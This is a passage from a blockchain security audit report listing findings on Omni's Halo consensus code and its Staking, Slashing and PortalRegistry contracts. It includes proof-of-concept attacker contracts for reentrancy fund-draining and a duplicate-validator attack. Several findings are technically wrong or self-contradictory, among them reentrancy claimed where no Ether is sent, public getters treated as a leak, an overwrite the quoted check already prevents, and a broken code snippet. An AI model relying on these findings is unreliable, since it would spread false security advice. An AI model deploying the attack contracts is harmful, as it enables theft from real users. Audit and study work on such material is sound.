The problem is that the activated height stored in the valsync store is X+2 while CometBFT will activate its validators in the next block once it receives validator updates, so X+1. (see https://github.com/cosmos/cosmos-sdk/blob/5b7fc8ae90a74f9ed66a7391caa760046dace373/types/staking.go#L19)

Therefore,

Suppose in block X, the validator set is updated to add validator Y, this will be stored in the valsync store with active height X+2

In Block X+1, the new CometBFT validator set will be used, so validator Y can send a vote and pass the `VerifyVoteExtension` check due to the assumptions present there.

In Block X+2, the vote will be checked in `ProcessProposal` and validated against the `prevBlockValSet` which will fetch the active validator set at block at X+1 the valsync store will use the old validator set that does not contain Validator Y and thus the proposal will continuously be rejected.

Chain will halt.

- Recommendation

```
const cometValidatorActiveDelay = 1
```

3.1.62 User can create multiple validators with the same public key and disrupt the consensus mechanism

Severity: High Risk

Context: Staking.sol#L100

- Description The code doesn't prevent a user from calling createValidator multiple times with the same pubkey. This could lead to the creation of duplicate validators, disrupting the consensus mechanism or causing other unexpected behavior.
- POC

0. Alice discovers the lack of a duplicate validator check in the `createValidator` function.
1. Alice generates a valid validator public key (pubkey). She also acquire a significant amount of Omni's native token to fund the attack.
2. Alice calls the createValidator function with the valid pubkey and the minimum required deposit. This creates the first validator with the given public key.
3. She calls createValidator again with the same pubkey and another deposit. Due to the missing check, the contract allows the creation of a second validator with the identical public key.
4. Alice repeats step 3 multiple times, creating numerous validators with the same public key.

- Consequences

1. Consensus Disruption
2. Halted Block Production
3. Increased Voting Power
4. Can perform malicious actions like double signing blocks, which can lead to slashing penalties for honest validators and further disrupt the network.

- Mitigation Add the following lines,


```
require(!validatorExists[pubkey], "Staking: validator already exists");
validatorExists[pubkey] = true; // Add pubkey to the registry
```

3.1.63 Users can stall the chain by sending a transaction

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

Halo uses a No-op mempool. The cosmos SDK documentation warns about the use of No-op mempools:

> Note: If a NoOp mempool is used, PrepareProposal and ProcessProposal both should be aware of this as PrepareProposal could include transactions that could fail verification in ProcessProposal.

The `PrepareProposal` step in Halo returns an error if the amount of transactions passed in the `RequestPrepareProposal` input (`req.Txs`) is greater than 0:

```
...
    if len(req.Txs) > 0 {
        return nil, errors.New("unexpected transactions in proposal")
    }
...
```

The halo `PrepareProposal` function is wrapped in the Cosmos SDK `PrepareProposal` function which returns a `ResponsePrepareProposal` object with the transactions passed as input in case of error or panic:

```
defer func() {
    if err := recover(); err != nil {
        app.logger.Error(
            "panic recovered in PrepareProposal",
            "height", req.Height,
            "time", req.Time,
            "panic", err,
        )

>       resp = &abci.ResponsePrepareProposal{Txs: req.Txs}
    }
}()

resp, err = app.prepareProposal(app.prepareProposalState.Context(), req)
if err != nil {
    app.logger.Error("failed to prepare proposal", "height", req.Height, "time", req.Time, "err", err)
>   return &abci.ResponsePrepareProposal{Txs: req.Txs}, nil
}
```

This means that if the Halo PrepareProposal() function returns an error because `req.Txs` is greater than 0, the cosmos SDK PrepareProposal() function will actually return a proposal which contains the transactions to cometBFT.

The proposal will then be rejected during the `ProcessProposal` step as it contains transactions that are not accepted by the protocol.

- Impact Explanation

If an user sends a transaction to Halo (any transaction defined in the modules can be used) a honest correctly operating node will end up creating an invalid proposal, stalling the chain.

- Recommendation

In PrepareProposal() ignore the transactions instead of returning an error.

3.1.64 Critical Non-deterministic State Processing in Validator Power Distribution Checks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

A critical non-deterministic behavior has been identified in the validator power tracking mechanism within keeper.go. The implementation uses Go map iteration for processing validator power thresholds during consensus state transitions, which inherently introduces randomness in execution order across different nodes in the network.

- Details

The issue is located in the `omni/halo/valsync/keeper/keeper.go/insertValidatorSet` function where validator powers are tracked and verified:

```
powers := make(map[common.Address]int64) //@audit iterating over a go map leads to non-deterministic behavior
    for _, val := range vals {
        if err := val.Validate(); err != nil {
            return 0, err
        }

        val.ValsetId = valset.GetId()
        err = k.valTable.Insert(ctx, val)
        if err != nil {
            return 0, errors.Wrap(err, "insert validator")
        }

        totalPower += val.GetPower()
        if val.GetPower() < 0 {
            return 0, errors.New("negative power")
        }

        pubkey, err := crypto.DecompressPubkey(val.GetPubKey())
        if err != nil {
            return 0, errors.Wrap(err, "get pubkey")
        }
        powers[crypto.PubkeyToAddress(*pubkey)] = val.GetPower()
    }
```

- Impacts

1. Consensus Layer:
   - Different nodes may process validator sets in different orders.
   - State machine transitions become non-deterministic.
   - Potential consensus failures in validator set updates.
2. Network Stability:
   - Inconsistent validator power threshold warnings across nodes.
   - Different log sequences for identical blocks.
   - Possible network splits due to state divergence.
3. Security:
   - Unpredictable validation of power distribution.
   - Inconsistent detection of power concentration.
   - Variable warning emission for security thresholds.
4. Monitoring:
   - Unreliable log sequences across nodes.
   - Difficult debugging due to non-deterministic execution.
   - Inconsistent alerting for power threshold violations.
   - Illustration

Example of non-deterministic execution across three nodes:

Node A processes validators:

1. Validator0x123... (Power: 100)
2. Validator0x456... (Power: 200)
3. Validator0x789... (Power: 300)

Node B processes validators:

1. Validator0x456... (Power: 200)
2. Validator0x789... (Power: 300)
3. Validator0x123... (Power: 100)

Node C processes validators:

1. Validator0x789... (Power: 300)
2. Validator0x123... (Power: 100)
3. Validator0x456... (Power: 200)

- POC

```
func DemonstrateNonDeterministicValidation() {
    powers := map[common.Address]int64{
        common.HexToAddress("0x123"): 100,
        common.HexToAddress("0x456"): 200,
        common.HexToAddress("0x789"): 300,
    }

    // Multiple runs produce different iteration orders
    fmt.Println("First run:")
    for addr, power := range powers {
        fmt.Printf("Address: %s, Power: %d\n", addr.Hex(), power)
    }

    fmt.Println("\nSecond run:")
    for addr, power := range powers {
        fmt.Printf("Address: %s, Power: %d\n", addr.Hex(), power)
    }
}
```

- Recommendations

Implement Deterministic Ordering or use a Sorted Key list

3.1.65 `abci::PrepareProposal()` does not properly handle panics leading to a possible shutdown

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description The `abci::PrepareProposal()` function has a `recover()` function to handle any panic that may occur when preparing proposals. the purpose of the `recover()` is to enable the the program to gracefully shutdown by reseting its state instead of panic and halt the blockchain.

```
File: abci.go
30: func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
31:     *abci.ResponsePrepareProposal, error,
32: ) {
33:     defer func() {
34:         if r := recover(); r != nil { // recover gracefully by resetting the program state
35:             log.Error(ctx, "PrepareProposal panic", nil, "recover", r)
36:             fmt.Println("panic stacktrace: \n" + string(debug.Stack())) //nolint:forbidigo // Print
↪  stacktrace
37:     @>      panic(r)
38:         }
39:     }()
```

The function attempts to do this by printing it's `stacktrace` with the error that caused the panic However, the problem is that it still goes on to panic with same error on L37 thus defeating the purpose of a graceful shutdown leading to a halt of the process and a stall or even fork of the chain.

- Impact This can cause the chain to halt or fork
- Recommendation Modify the `PrepareProposal()` function as shown below to ensure the programs state is reset successfully if a panic occurs when instead of halted

```
File: abci.go
30: func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
31:     *abci.ResponsePrepareProposal, error,
32: ) {
33:     defer func() {
34:         if r := recover(); r != nil { // recover gracefully by resetting the program state
35:             log.Error(ctx, "PrepareProposal panic", nil, "recover", r)
36:             fmt.Println("panic stacktrace: \n" + string(debug.Stack())) //nolint:forbidigo // Print
↪  stacktrace
-37:         panic(r)
38:         }
39:     }()
```

3.1.66 Non-deterministic Portal Registry Deployment Processing

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The portal registry deployment conversion mechanism in `toPortalDepls` function uses map operations that introduce non-deterministic behavior during state processing. This affects the order of portal deployments across different nodes in the network.

- Details

The issue is located in the `toPortalDepls` function where EVM chains are converted to portal registry deployments:

```
func toPortalDepls(def Definition, chains []types.EVMChain) (map[uint64]bindings.PortalRegistryDeployment,
↪  error) {
    deps := make(map[uint64]bindings.PortalRegistryDeployment)

    for _, chain := range chains {
        portal, ok := def.Netman().Portals()[chain.ChainID]
        if !ok {
            return nil, errors.New("missing portal", "chain", chain.ChainID)
        }

        blockPeriodNs, err := umath.ToUint64(chain.BlockPeriod.Nanoseconds())
        if err != nil {
            return nil, errors.Wrap(err, "block period ns")
        }

        deps[chain.ChainID] = bindings.PortalRegistryDeployment{
            Name:           chain.Name,
            ChainId:        chain.ChainID,
            Addr:           portal.DeployInfo.PortalAddress,
            BlockPeriodNs:  blockPeriodNs,
            AttestInterval: chain.AttestInterval(def.Testnet.Network),
            DeployHeight:   portal.DeployInfo.DeployHeight,
            Shards:         chain.ShardsUint64(),
        }
    }

    return deps, nil
}
```

- Impacts

Cross-Chain Message Sequencing Failures:

The non-deterministic portal deployment ordering directly impacts message sequencing across chains. When nodes process portal deployments differently, the message routing paths become inconsistent. For example, if Node A processes Ethereum->Polygon->Arbitrum while Node B processes Polygon->Arbitrum->Ethereum, cross-chain messages will follow different paths. This leads to messages being processed out of order or getting stuck between chains, breaking the fundamental guarantee of ordered message delivery in cross-chain communications.

Network State Divergence:

The map iteration randomness causes network state to diverge between nodes. As each node processes portal deployments in different sequences, their local state becomes increasingly inconsistent. This state divergence compounds over time as more cross-chain messages are processed. A node that processes Chain A's portal before Chain B will have a different view of the message queue state than a node that processes them in reverse order. This creates a fractured network state that is extremely difficult to reconcile.

Transaction Finality Uncertainty:

When portal deployments are processed non-deterministically, transaction finality becomes uncertain across chains. A transaction that appears finalized on one node may be in a different state on another node due to the varying portal deployment order. This breaks the critical property of transaction finality in blockchain systems. Users cannot reliably determine if their cross-chain transactions have truly completed, leading to stuck transactions and lost funds.

Debugging and Recovery Complexity:

The non-deterministic behavior makes debugging cross-chain issues nearly impossible. Since each node processes portals differently, reproducing issues becomes a major challenge. The logs and state transitions will vary across nodes even for the same set of transactions. This severely impacts the ability to diagnose and fix cross-chain communication problems. Recovery procedures also become complex since there is no guarantee that nodes will converge to the same state.

Scalability Bottlenecks:

As more chains are added to the network, the non-deterministic portal processing creates severe scalability limitations. The number of possible ordering permutations grows factorially with each new chain, exponentially increasing the potential for state divergence. This makes it progressively harder to maintain network consistency as the system scales. The coordination overhead required to handle the growing complexity makes the system impractical for production use at scale.

- Illustration

Example of non-deterministic portal deployment processing:

Node A processes chains:

1. Chain 1: Ethereum Portal
2. Chain 2: Polygon Portal
3. Chain 3: Arbitrum Portal

Node B processes chains:

1. Chain 2: Polygon Portal
2. Chain 3: Arbitrum Portal
3. Chain 1: Ethereum Portal

- POC

```
func DemonstratePortalDeploymentNonDeterminism() {
    deps := map[uint64]bindings.PortalRegistryDeployment{
        1: {Name: "Ethereum", ChainId: 1},
        2: {Name: "Polygon", ChainId: 2},
        3: {Name: "Arbitrum", ChainId: 3},
    }

    // Multiple iterations produce different orders
    fmt.Println("First iteration:")
    for chainID, deployment := range deps {
        fmt.Printf("Chain %d: %s\n", chainID, deployment.Name)
    }

    fmt.Println("\nSecond iteration:")
    for chainID, deployment := range deps {
        fmt.Printf("Chain %d: %s\n", chainID, deployment.Name)
    }
}
```

- Recommendations

Implement Deterministic Processing Ordering or use a Sorted Key list

3.1.67 Absense of Deposit Handling and Tracking When Creating Validator and Delegation in Staking Contract

Severity: High Risk

Context: Staking.sol#L89-L95

- Description

```
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
>>>         require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

The code above shows how Validator is created in the Staking contract, it can be noted that function is a payable function and it accepts msg.value but the problem is that it doesn't transfer or store it to the validator creating it or the msg.sender making the call as a state variable in the contract. Without storing the deposited amount and Depositor, there's no way to track validator balances or the total amount staked. Users might mistakenly believe their deposit is recorded, which could lead to discrepancies or confusion in how validator deposits are managed thereby breaking trust in contract.

Also noted is a similar instance of this issue which shows how delegation is handled at https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/octane/Staking.sol?scope=in_scope#L105 of same contract

- Recommendation Protocol should store msg.value made by each caller in a mapping, such as validatorDeposits[validatorAddress], to keep track of deposits per validator to ensure contract balance and depositor consistency and tracking

3.1.68 Reentrancy Vulnerability In Slashing.sol

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `Slashing.sol` contract has a reentrancy vulnerability in the `_burnFee()` function that could be exploited to manipulate state or drain funds.
- Finding Description The `_burnFee()` function transfers Ether to a predefined burn address (`BurnAddr`) after validating that the sent value meets the required fee. However, since the contract does not follow the checks-effects-interactions pattern, it is susceptible to reentrancy attacks.

A malicious user could call the `unjail()` function, which would execute the `_burnFee()` function and initiate the transfer to `BurnAddr`. If the malicious contract has a fallback function that calls `unjail()` again, it can recursively invoke the transfer before the state is updated, potentially draining funds or causing unexpected behavior.

This vulnerability breaks the security guarantees of the contract by allowing external contracts to manipulate its execution flow and state, leading to potential loss of funds or unwanted state changes.

- Vulnerability Details
- **Location:** The vulnerability is located in the `_burnFee()` function within the `Slashing` contract.
- **Vulnerability Type:** Reentrancy
- Impact The reentrancy vulnerability can lead to loss of funds as it allows malicious actors to repeatedly call the `unjail()` function, transferring more Ether than intended to the `BurnAddr`. The impact is significant as it compromises the contract's ability to safely handle Ether transfers, potentially leading to financial loss for users.
- Proof of Concept Below is a simplified version of a malicious contract that could exploit this vulnerability:

```
contract Malicious {
    Slashing slashingContract;

    constructor(address _slashingAddress) {
        slashingContract = Slashing(_slashingAddress);
    }

    // Fallback function that is called when Ether is sent to this contract
    receive() external payable {
        if (address(slashingContract).balance >= 0.1 ether) {
            // Re-enter the slashing contract
            slashingContract.unjail{value: 0.1 ether}();
        }
    }

    function attack() external payable {
        require(msg.value >= 0.1 ether);
        slashingContract.unjail{value: 0.1 ether}();
    }
}
```

In this proof of concept, the `Malicious` contract calls the `unjail()` function, triggering the transfer in the `Slashing` contract. The fallback function re-invokes `unjail()`, creating a loop that drains funds.

- Recommendations To mitigate this vulnerability, follow the checks-effects-interactions pattern by updating the state before transferring funds. Additionally, consider implementing a reentrancy guard. Here's a revised version of the `_burnFee()` function:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Slashing is ReentrancyGuard {
    // Other contract code remains unchanged

    function _burnFee() internal nonReentrant {
        require(msg.value >= Fee, "Slashing: insufficient fee");

        // Transfer the fee to the burn address
        payable(BurnAddr).transfer(msg.value);
    }
}
```

By using the `nonReentrant` modifier from OpenZeppelin's `ReentrancyGuard`, the contract can prevent reentrant calls to the `_burnFee()` function, thereby safeguarding against potential exploits.

3.1.69 Insufficient Fee Validation

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract does not refund excess fees sent with the `unjail()` function, which may lead to user dissatisfaction and loss of funds.
- Finding Description The `unjail()` function allows validators to send a fixed fee of 0.1 ether to unjail themselves. However, the `_burnFee()` function only checks if the fee sent is at least the required amount, but it does not account for any excess amount sent by the caller. This design flaw breaks the expected user experience and could result in users inadvertently losing funds if they send more than the fixed fee.

The issue is significant because it breaks the principle of fairness in fee handling; users who send more than the required fee do not get their excess funds returned. Malicious actors could exploit this to unintentionally lock funds in the contract by attempting to unjail multiple validators with a single transaction.

- Vulnerability Details
- **Location:** In the `_burnFee()` function.
- **Type:** Logical flaw in fee handling.

- **Security Guarantees Broken:** Fairness in fund handling; users may expect their excess fees to be refunded.
- Impact The impact is assessed as medium severity because while this issue does not lead to a direct security vulnerability or loss of funds to a malicious user, it does result in a poor user experience and could deter users from using the contract due to fear of unintentionally losing funds. Refunds of excess fees should be a standard practice in smart contract design.
- Proof of Concept In the current implementation, a user could call the `unjail()` function and send 0.5 ether:

```
contract SlashingInstance {
    Slashing slashing = new Slashing();

    function testUnjail() public {
        slashing.unjail{value: 0.5 ether}(); // Sends 0.5 ether but only 0.1 ether is needed
    }
}
```

This results in 0.4 ether being lost forever as the contract does not provide a refund mechanism.

- Recommendations To resolve this issue, the `_burnFee()` function should be modified to include logic that refunds any excess amount back to the sender. Below is a code snippet illustrating this fix:
- Fixed Code Snippet

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    uint256 excess = msg.value - Fee;
    if (excess > 0) {
        payable(msg.sender).transfer(excess); // Refund excess amount
    }
    payable(BurnAddr).transfer(Fee); // Transfer the required fee to BurnAddr
}
```

This modification ensures that users are refunded any excess ether sent with the transaction, thus improving user experience and aligning with the principle of fairness in fund management.

- File Location `Slashing.sol`

3.1.70 Reentrancy vulnerability

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `Staking` contract is vulnerable to reentrancy attacks in the `createValidator` and `delegate` functions, allowing an attacker to exploit the Ether transfer mechanism to drain funds.
- Finding Description The vulnerability arises from the order of operations in the `createValidator` and `delegate` functions, where Ether is transferred before the state variables are updated. This violates the checks-effects-interactions pattern, a best practice in Solidity to prevent reentrancy attacks.
- Security Guarantees Broken This vulnerability breaks the security guarantee that the contract state cannot be manipulated by external calls before it is fully validated and updated. When a malicious actor invokes a function and manages to re-enter it before the state updates occur, they can bypass checks and manipulate the contract's state, potentially draining funds.
- Propagation of Malicious Input

1. A malicious user calls `createValidator` or `delegate` with valid parameters.
2. The function transfers Ether (`msg.value`) to the attacker's address.
3. The attacker then uses a fallback or receive function to re-enter the original function before the state has been changed, allowing them to exploit the contract's logic.

- Vulnerability Details
- **Location:** Functions `createValidator` and `delegate`.
- **Lines Affected:**

- `emit CreateValidator(msg.sender, pubkey, msg.value);` in `createValidator`.
- `emit Delegate(msg.sender, validator, msg.value);` in `delegate`.

- Impact The impact of this vulnerability is critical, as it could lead to a complete loss of funds for users of the contract. An attacker could exploit this vulnerability repeatedly until the contract is drained of Ether, leading to financial losses for stakeholders.
- Proof of Concept Below is an example of how an attacker could exploit this vulnerability by deploying a malicious contract:

```
pragma solidity ^0.8.0;

import "./Staking.sol";

contract Attacker {
    Staking public stakingContract;

    constructor(address _stakingAddress) {
        stakingContract = Staking(_stakingAddress);
    }

    // Fallback function called when ether is sent
    receive() external payable {
        if (address(stakingContract).balance >= 1 ether) {
            stakingContract.delegate(address(this)); // Re-enter the delegate function
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Insufficient Ether sent");
        stakingContract.createValidator{value: msg.value}(new bytes(33)); // Initial call to createValidator
    }
}
```

In this example, the `Attacker` contract calls the vulnerable `createValidator` function, and upon receiving Ether, it re-enters the `delegate` function before the state is updated, potentially draining funds.

- Recommendations To mitigate this vulnerability, it is essential to implement the checks-effects-interactions pattern. Here's how you can fix the issue:

1. Update the state variables before transferring Ether.
2. Consider using a reentrancy guard.

- Fixed Code Snippet Here's a modified version of the `createValidator` function with the fix applied:

```
function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");

    // Update state before transferring Ether
    // (You can also implement a separate function to handle the actual transfer if needed)

    emit CreateValidator(msg.sender, pubkey, msg.value);
}
```

Additionally, you may consider implementing a reentrancy guard, which could look like this:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Staking is OwnableUpgradeable, ReentrancyGuard {
    // rest of your code...

    function createValidator(bytes calldata pubkey) external payable nonReentrant {
        // function body
    }

    function delegate(address validator) external payable nonReentrant {
        // function body
    }
}
```

Using the `nonReentrant` modifier will help prevent reentrancy attacks by locking the function during execution.

- File Location `Staking.sol`

3.1.71 No Upgrade Mechanism

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract lacks an implementation to execute the planned software upgrades, rendering the upgrade planning function ineffective.
- Finding Description The `Upgrade` contract allows the owner to plan upgrades via the `planUpgrade` function, which emits a `PlanUpgrade` event. However, there is no mechanism to actually execute the planned upgrades or to store the current upgrade plan. This means that while an upgrade can be planned, it cannot be carried out, which breaks the expected functionality of the contract and can lead to operational failures in a decentralized application relying on this mechanism.

The absence of an execution mechanism poses significant risks, as it may create a false sense of security among users and operators of the contract, believing that an upgrade process is in place when, in fact, it is not. This could lead to situations where critical updates or fixes cannot be applied in response to discovered vulnerabilities or changing requirements.

- Vulnerability Details
- **Vulnerability Type:** Logic flaw
- **Location in Code:** `planUpgrade` function and the overall contract structure
- **Security Guarantees Broken:** The contract fails to uphold the principle of having a reliable upgrade mechanism, which is essential for maintaining the integrity and functionality of smart contracts over time.
- Impact The lack of an upgrade mechanism can severely impact the contract's usability. If a critical vulnerability is discovered or if new features need to be added, the contract will be unable to adapt, potentially leading to loss of funds or failure of services relying on this contract. This impacts the contract's overall reliability and trustworthiness.
- Proof of Concept To illustrate this issue, consider the following scenario:

1. The owner calls `planUpgrade` to plan an upgrade for a future block height.
2. Once the upgrade is planned, there are no subsequent actions taken to execute it.
3. As a result, when the specified block height is reached, the upgrade is never applied, and the contract continues to operate on the outdated logic.

- Current Code Snippet

```
function planUpgrade(Plan calldata plan) external onlyOwner {
    emit PlanUpgrade(plan.name, plan.height, plan.info);
}
```

- Recommendations To address the lack of an upgrade mechanism, the contract should implement an execution function that checks if the current block height matches the planned upgrade height and executes the corresponding upgrade logic. This could include updating the implementation address or applying new state variables.
- Suggested Code Snippet

```
// Add a storage variable to track the current upgrade plan
Plan private currentPlan;

// Update the planUpgrade function to store the current plan
function planUpgrade(Plan calldata plan) external onlyOwner {
    currentPlan = plan; // Store the planned upgrade
    emit PlanUpgrade(plan.name, plan.height, plan.info);
}

// New function to execute the planned upgrade
function executeUpgrade() external {
    require(block.number >= currentPlan.height, "Upgrade not yet executable");
    // Implement upgrade logic here, such as updating implementation
    delete currentPlan; // Clear the plan after execution
}
```

- File Location `Upgrade.sol`

3.1.72 No validation checks on public mappings

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract lacks validation checks on public mappings, which could lead to unauthorized access and manipulation of critical state information, violating security guarantees.
- Finding Description The `OmniPortalStorage` contract contains several public mappings that can be accessed directly by any external user. This exposes sensitive data regarding supported shards and chains, and allows any user to read values that may be intended to remain private or restricted.

Specifically, the public mappings include:

- `isSupportedShard`: Maps shard IDs to a boolean indicating if they are supported.
- `isSupportedDest`: Maps chain IDs to a boolean indicating if they are supported.
- `outXMsgOffset`, `inXMsgOffset`, and `inXBlockOffset`: These mappings could expose offsets related to message transactions.

This unrestricted access breaks the principle of least privilege and can lead to security vulnerabilities where an attacker could exploit this information for malicious purposes, such as probing the contract for information on supported chains and shards.

For example, if an attacker identifies a supported shard, they could attempt to send transactions to it without being authorized, leading to unexpected behavior or state changes.

- Vulnerability Details The lack of access control or validation checks on these mappings can lead to:
- Unauthorized access to information about the internal state of the contract.
- Information leakage that can aid malicious actors in constructing attacks or misusing the contract.
- Impact The impact of this issue is significant because it exposes internal logic and data structures to external users, which can compromise the integrity of the contract and potentially lead to unauthorized transactions or manipulation of contract behavior. By revealing sensitive state information, the contract could be subject to attacks that exploit its operational logic.
- Proof of Concept An attacker can query the mappings like so:

```
bool isSupported = omniPortalStorage.isSupportedShard(12345);
```

This would allow the attacker to determine whether shard ID `12345` is supported without any restrictions, providing them with critical insights into the contract's operation.

- Recommendations To mitigate this issue, consider implementing access control and validation checks. Only allow authorized entities (like the contract owner or designated roles) to read or modify critical state variables. Here's an example of how this could be implemented:

```
modifier onlyOwner {
    require(msg.sender == owner, "Not authorized");
    _;
}

function isSupportedShard(uint64 shardId) external view onlyOwner returns (bool) {
    return isSupportedShard[shardId];
}
```

By implementing access control, you ensure that only authorized users can access sensitive information, significantly reducing the risk of unauthorized exploitation.

- File Location `OmniPortalStorage.sol`

3.1.73 Reentrancy Vulnerability

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `PortalRegistry` contract is vulnerable to reentrancy attacks in its `register` and `bulkRegister` functions, potentially allowing malicious contracts to manipulate the registration process.
- Finding Description The current implementation of the `PortalRegistry` contract allows the owner to register new portal deployments. The registration process involves state changes that can be exploited through reentrancy if the `register` or `_register` functions are called in a way that allows a malicious contract to make recursive calls before the initial function execution completes.

This vulnerability breaks the security guarantee of **state integrity**, as it could allow an attacker to register a fraudulent portal by exploiting the callback mechanism inherent in Solidity.

For instance, a malicious actor could deploy a contract that calls the `register` function of the `PortalRegistry` while simultaneously invoking another function in the malicious contract that calls back into the `register` function before the first call finishes. This could lead to the contract's state being altered in unintended ways.

- Vulnerability Details
- **Location**: Functions `register` and `_register`.
- **Severity**: High
- **Reentrancy Risks**: By allowing external calls without appropriate checks, there is a risk of modifying the contract's state in an inconsistent manner.
- Impact The impact of this vulnerability is significant, as it could allow an attacker to register multiple portal deployments or replace existing ones with malicious addresses, leading to unauthorized access or control over the portal's functionalities. The consequence may include financial loss or compromised system integrity, depending on the context in which the contract is used.
- Proof of Concept A simple proof of concept can be created by deploying a malicious contract that interacts with `PortalRegistry`. For example:

```
contract Malicious {
    PortalRegistry public portalRegistry;

    constructor(address _portalRegistry) {
        portalRegistry = PortalRegistry(_portalRegistry);
    }

    function attack() external {
        // Attempt to register a new portal
        portalRegistry.register(Deployment({
            addr: address(this), // Attacker's address
            chainId: 1,
            deployHeight: 0,
            attestInterval: 1,
            blockPeriodNs: 1,
            shards: new uint64 ,
            name: "MaliciousPortal"
        }));
    }
}
```

By calling `attack`, the malicious actor can potentially manipulate the registration logic of `PortalRegistry`.

- Recommendations To fix the reentrancy vulnerability, implement the `nonReentrant` modifier from OpenZeppelin's `ReentrancyGuard`. Here's a snippet of the modified `_register` function:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract PortalRegistry is OwnableUpgradeable, ReentrancyGuard {
    // ...

    function register(Deployment calldata dep) external onlyOwner nonReentrant {
        _register(dep);
    }

    function bulkRegister(Deployment[] calldata deps) external onlyOwner nonReentrant {
        for (uint64 i = 0; i < deps.length; i++) {
            _register(deps[i]);
        }
    }

    // ...
}
```

By adding the `nonReentrant` modifier, we prevent reentrant calls to the functions, ensuring that the state of the contract remains consistent during execution.

- File Location `PortalRegistry.sol`

3.1.74 Address Zero Check

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

3.2 Summary

The `_register` function allows an address to be registered for a deployment without verifying if it is already registered. This can lead to unintentional overwriting of existing deployment data, resulting in potential data loss and mismanagement of deployed portals.

- Finding Description In the `PortalRegistry` contract, the `_register` function includes a check to ensure that the `dep.addr` (deployment address) is not zero. However, it does not prevent the overwriting of an existing deployment when the same `chainId` is registered again. This oversight breaks the security guarantee of data integrity, allowing a registered deployment to be replaced with a new one unintentionally.

For instance, a malicious actor could first register a valid portal, and then later register a new portal with the same `chainId` but a different `addr`. If this happens, the original deployment's address will be lost, potentially leading to a situation where the registered portal cannot be interacted with or has its data mismanaged.

- Security Guarantees Broken
- **Data Integrity**: Existing data can be unintentionally lost or corrupted.
- **System State**: The contract's state can be altered without appropriate checks, allowing for unintended consequences in how registered portals are used.
- Vulnerability Details
- The function checks for zero addresses, but it lacks validation to prevent the overwriting of an existing deployment. When the following code is executed:

```
deployments[dep.chainId] = dep;
```

the previous deployment associated with that `chainId` is overwritten without warning.

- Impact The impact of this vulnerability is significant. It can lead to a scenario where deployed portals become unusable if their addresses are unintentionally overwritten. If the owner registers a new deployment under an already registered `chainId`, they will lose the reference to the previous deployment, which could halt operations dependent on that address and lead to a lack of transparency in portal registrations.
- Proof of Concept Consider the following sequence:

1. The owner registers a portal with `chainId = 1` and `addr = 0xABC...DEF`.
2. The owner later registers another portal with `chainId = 1` but with `addr = 0x123...456`.
3. The previous portal at `chainId = 1` is now inaccessible, as its reference is overwritten.

- Code Example The problematic section of the code:

```
require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set");
deployments[dep.chainId] = dep;
```

- Recommendations To mitigate this vulnerability, the following changes should be made to the `_register` function:

1. Modify the registration logic to either:
    - Prevent re-registration of existing deployments entirely, or
    - Update the existing deployment data while providing clear notifications.

- Suggested Code Fix Here's a modified version of the `_register` function that updates the existing deployment or prevents overwriting:

```
function _register(Deployment calldata dep) internal {
    require(dep.addr != address(0), "PortalRegistry: zero addr");
    require(dep.chainId > 0, "PortalRegistry: zero chain ID");
    require(dep.attestInterval > 0, "PortalRegistry: zero interval");
    require(dep.blockPeriodNs <= uint64(type(int64).max), "PortalRegistry: period too large");
    require(dep.blockPeriodNs > 0, "PortalRegistry: zero period");
    require(bytes(dep.name).length > 0, "PortalRegistry: no name");
    require(dep.shards.length > 0, "PortalRegistry: no shards");

    // Ensure existing deployment is not overwritten
    if (deployments[dep.chainId].addr != address(0)) {
        // Optional: Emit an event or revert
        revert("PortalRegistry: deployment already exists, use update function");
    }

    // only allow ConfLevel shards
    for (uint64 i = 0; i < dep.shards.length; i++) {
        uint64 shard = dep.shards[i];
        require(shard == uint8(shard) && ConfLevel.isValid(uint8(shard)), "PortalRegistry: invalid shard");
    }

    deployments[dep.chainId] = dep;
    chainIds.push(dep.chainId);

    emit PortalRegistered(
        dep.chainId, dep.addr, dep.deployHeight, dep.attestInterval, dep.blockPeriodNs, dep.shards, dep.name
    );
}
```

This modification will prevent overwriting existing deployments, thereby protecting the integrity of the registered portal data.

- File Location `PortalRegistry.sol`

3.2.1 Access Control Issue

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `withdraw` function can be called by any user as long as they are the sender of the `OmniPortal` contract, potentially allowing unauthorized withdrawals of tokens.
- Finding Description The current implementation of the `withdraw` function only checks if the caller is the `omni` contract. This design flaw creates a significant security risk; if the `OmniPortal` contract is compromised, a malicious actor could exploit this vulnerability to withdraw funds from the `OmniBridgeL1` contract without permission.

This breaks the security guarantee of proper access control, which is essential to prevent unauthorized access and manipulation of token funds. Since the contract does not impose restrictions based on the identity of the caller, it fails to enforce ownership principles that are crucial in smart contract security.

- Attack Scenario

1. An attacker gains control over the `OmniPortal` contract or creates a malicious contract that mimics its address.
